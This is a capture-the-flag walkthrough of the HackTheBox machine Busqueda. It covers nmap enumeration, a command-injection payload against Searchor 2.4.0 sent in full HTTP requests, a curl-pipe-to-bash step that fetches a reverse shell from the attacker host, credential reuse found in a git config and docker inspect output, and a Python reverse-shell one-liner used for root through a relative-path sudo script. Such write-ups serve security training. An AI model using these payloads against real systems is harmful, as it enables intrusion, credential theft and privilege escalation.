Busqueda HacktheBox Writeup

Busqueda is a machine on HacktheBox that features a Flask web application vulnerable to arbitrary command execution. Let’s root it!
Enumeration && Foothold
┌─[stitch@parrot]─[~/Desktop]
└──╼ $sudo nmap -sC -sV 10.129.203.117
[sudo] password for stitch:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-08 15:04 MDT
Nmap scan report for 10.129.203.117
Host is up (0.072s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
|_ 256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://searcher.htb/
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.22 seconds
There is an Apache web server running on port 80. We add the domain searcher.htb to our /etc/hosts file.
Visiting the site, we see that it is using Searchor 2.4.0

After some research, we find that there is an arbitrary code execution vulnerability in this version of searchor. (reference: https://security.snyk.io/vuln/SNYK-PYTHON-SEARCHOR-3166303)
Exploiting Searchor
Using BurpSuite, we can capture and send requests to try to execute this vulnerability. I used BurpSuite’s repeater functionality in order to send these requests.

The github commit related to this shows where the vulnerability is within the code (https://github.com/ArjunSharda/Searchor/commit/29d5b1f28d29d6a282a5e860d456fab2df24a16b)

With this, we can build a payload that closes the single quotes for the query (since we can control this parameter) then executes a system command and comments out the rest of the line. For example, we could use the payload below:
‘,exec(“__import__(‘os’).system(‘cat /etc/passwd’)”))#
So when inserted into the code above we can visualize how our payload fits:
url = eval(
f"Engine.{engine}.search('',exec("__import__('os').system('cat/etc/passwd')"))# ', copy_url={copy}, open_web={open})"
)
Since the query parameter is the vulnerable parameter, we can send a request like below in order to read /etc/passwd
POST /search HTTP/1.1
Host: searcher.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://searcher.htb/
Content-Type: application/x-www-form-urlencoded
Content-Length: 79
Origin: http://searcher.htb
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
engine=Accuweather&query=',exec("__import__('os').system('cat /etc/passwd')"))#

From here, there are several routes that we can take. We can continue to read files off the system, or we can attempt to gain a shell (there are multiple ways to do this as well). Let’s try to grab a shell to enumerate the system further by serving a script containing a reverse bash shell on our attacker machine using http. Then we can have the target machine use curl to retrieve our script and pipe it to bash to trigger a reverse shell to our attacker machine on a netcat listener. Payload is below, along with screenshots:
POST /search HTTP/1.1
Host: searcher.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 107
Origin: http://searcher.htb
DNT: 1
Connection: close
Referer: http://searcher.htb/
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
engine=Accuweather&query=',exec("__import__('os').system('curl http://10.10.14.8:8000/shell.sh | bash')"))#

From here, we can further enumerate our current directory. We find a .git directory containing several files. Within the .git file, we find a config file with credentials for a user cody to gitea.searcher.htb (which we add to our /etc/hosts file)
nc -lvnp 1337
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 10.129.120.197.
Ncat: Connection from 10.129.120.197:39308.
bash: cannot set terminal process group (1500): Inappropriate ioctl for device
bash: no job control in this shell
svc@busqueda:/var/www/app$ ls -lia
ls -lia
total 20
264653 drwxr-xr-x 4 www-data www-data 4096 Apr 3 14:32 .
41701 drwxr-xr-x 4 root root 4096 Apr 4 16:02 ..
265511 -rw-r--r-- 1 www-data www-data 1124 Dec 1 2022 app.py
327681 drwxr-xr-x 8 www-data www-data 4096 Aug 16 02:50 .git
265516 drwxr-xr-x 2 www-data www-data 4096 Dec 1 2022 templates
svc@busqueda:/var/www/app$ cd .git
cd .git
svc@busqueda:/var/www/app/.git$ ls
ls
branches
COMMIT_EDITMSG
config
description
HEAD
hooks
index
info
logs
objects
refs
svc@busqueda:/var/www/app/.git$ cat config
cat config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
remote = origin
merge = refs/heads/main
svc@busqueda:/var/www/app/.git$
We can actually get the user flag from our current user (svc) home directory. We also find that cody’s creds for above were reused for svc’s SSH login. Since we have Cody’s login, we might as well enumerate gitea, and do not find anything too exciting with his permissions beyond an “administrator” account.

Priv Esc && Root
When we logged into the machine as svc over SSH, we see that there is a docker0 network interface. This is valuable information to add to our notes.

Let’s see what svc (our current user) can run as sudo on busqueda. We also see what docker containers are running:
svc@busqueda:~$ sudo -l
[sudo] password for svc:
Matching Defaults entries for svc on busqueda:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User svc may run the following commands on busqueda:
(root) /usr/bin/python3 /opt/scripts/system-checkup.py *
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py *
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)
docker-ps : List running docker containers
docker-inspect : Inpect a certain docker container
full-checkup : Run a full system checkup
svc@busqueda:~$ docker-ps
docker-ps: command not found
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
960873171e2e gitea/gitea:latest "/usr/bin/entrypoint…" 3 months ago Up 6 hours 127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp gitea
f84a6b33fb5a mysql:8 "docker-entrypoint.s…" 3 months ago Up 6 hours 127.0.0.1:3306->3306/tcp, 33060/tcp mysql_db
We can check out the docker documentation regarding the inspect command, and begin enumerating these dockers that are running further. (reference: https://docs.docker.com/engine/reference/commandline/inspect/). When enumerating the mysql container, we find credentials for a mysql user related to gitea.
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
960873171e2e gitea/gitea:latest "/usr/bin/entrypoint…" 3 months ago Up 7 hours 127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp gitea
f84a6b33fb5a mysql:8 "docker-entrypoint.s…" 3 months ago Up 7 hours 127.0.0.1:3306->3306/tcp, 33060/tcp mysql_db
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect
Usage: /opt/scripts/system-checkup.py docker-inspect <format> <container_name>
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .Config}}' f84a6b33fb5a
{"Hostname":"f84a6b33fb5a","Domainname":"","User":"","AttachStdin":false,"AttachStdout":false,"AttachStderr":false,"ExposedPorts":{"3306/tcp":{},"33060/tcp":{}},"Tty":false,"OpenStdin":false,"StdinOnce":false,"Env":["MYSQL_ROOT_PASSWORD=jI86kGUuj87guWr3RyF","MYSQL_USER=gitea","MYSQL_PASSWORD=yuiu1hoiu4i5ho1uh","MYSQL_DATABASE=gitea","PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","GOSU_VERSION=1.14","MYSQL_MAJOR=8.0","MYSQL_VERSION=8.0.31-1.el8","MYSQL_SHELL_VERSION=8.0.31-1.el8"],"Cmd":["mysqld"],"Image":"mysql:8","Volumes":{"/var/lib/mysql":{}},"WorkingDir":"","Entrypoint":["docker-entrypoint.sh"],"OnBuild":null,"Labels":{"com.docker.compose.config-hash":"1b3f25a702c351e42b82c1867f5761829ada67262ed4ab55276e50538c54792b","com.docker.compose.container-number":"1","com.docker.compose.oneoff":"False","com.docker.compose.project":"docker","com.docker.compose.project.config_files":"docker-compose.yml","com.docker.compose.project.working_dir":"/root/scripts/docker","com.docker.compose.service":"db","com.docker.compose.version":"1.29.2"}
Since we know that cody’s creds have been reused for both svc and for the mysql root password, let’s try logging into gitea.searcher.htb as administrator with this newly found password. We successfully login and begin enumerating the code repositories.

Now, looking at the source for our scripts that run, we see that full-checkup.sh is called by the main python script (system-checkup.py). But it does not use an absolute path to reference this bash script. Instead it looks for the full-checkup.sh script in the current directory.

So, we have sudo permissions to run the system-checkup.py, and we can control what full-checkup.sh script is executed. We’ve identified a path forward, so now we build our payload.
First, find a folder that you can write to such as /tmp or /dev/shm. Then create a script named full-checkup.sh with whatever commands you want to run as sudo. Make sure the script has execute permissions (chmod +x).
Then run the system-checkup.py as sudo with the arg full-checkup
svc@busqueda:/tmp$ vim full-checkup.sh
#contents of full-checkup.sh below
---
#!/bin/bash
python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.8",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
---
#execute payload
svc@busqueda:/tmp$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
And, we catch a root shell on our netcat listener! From here, we can get the root flag from /root.
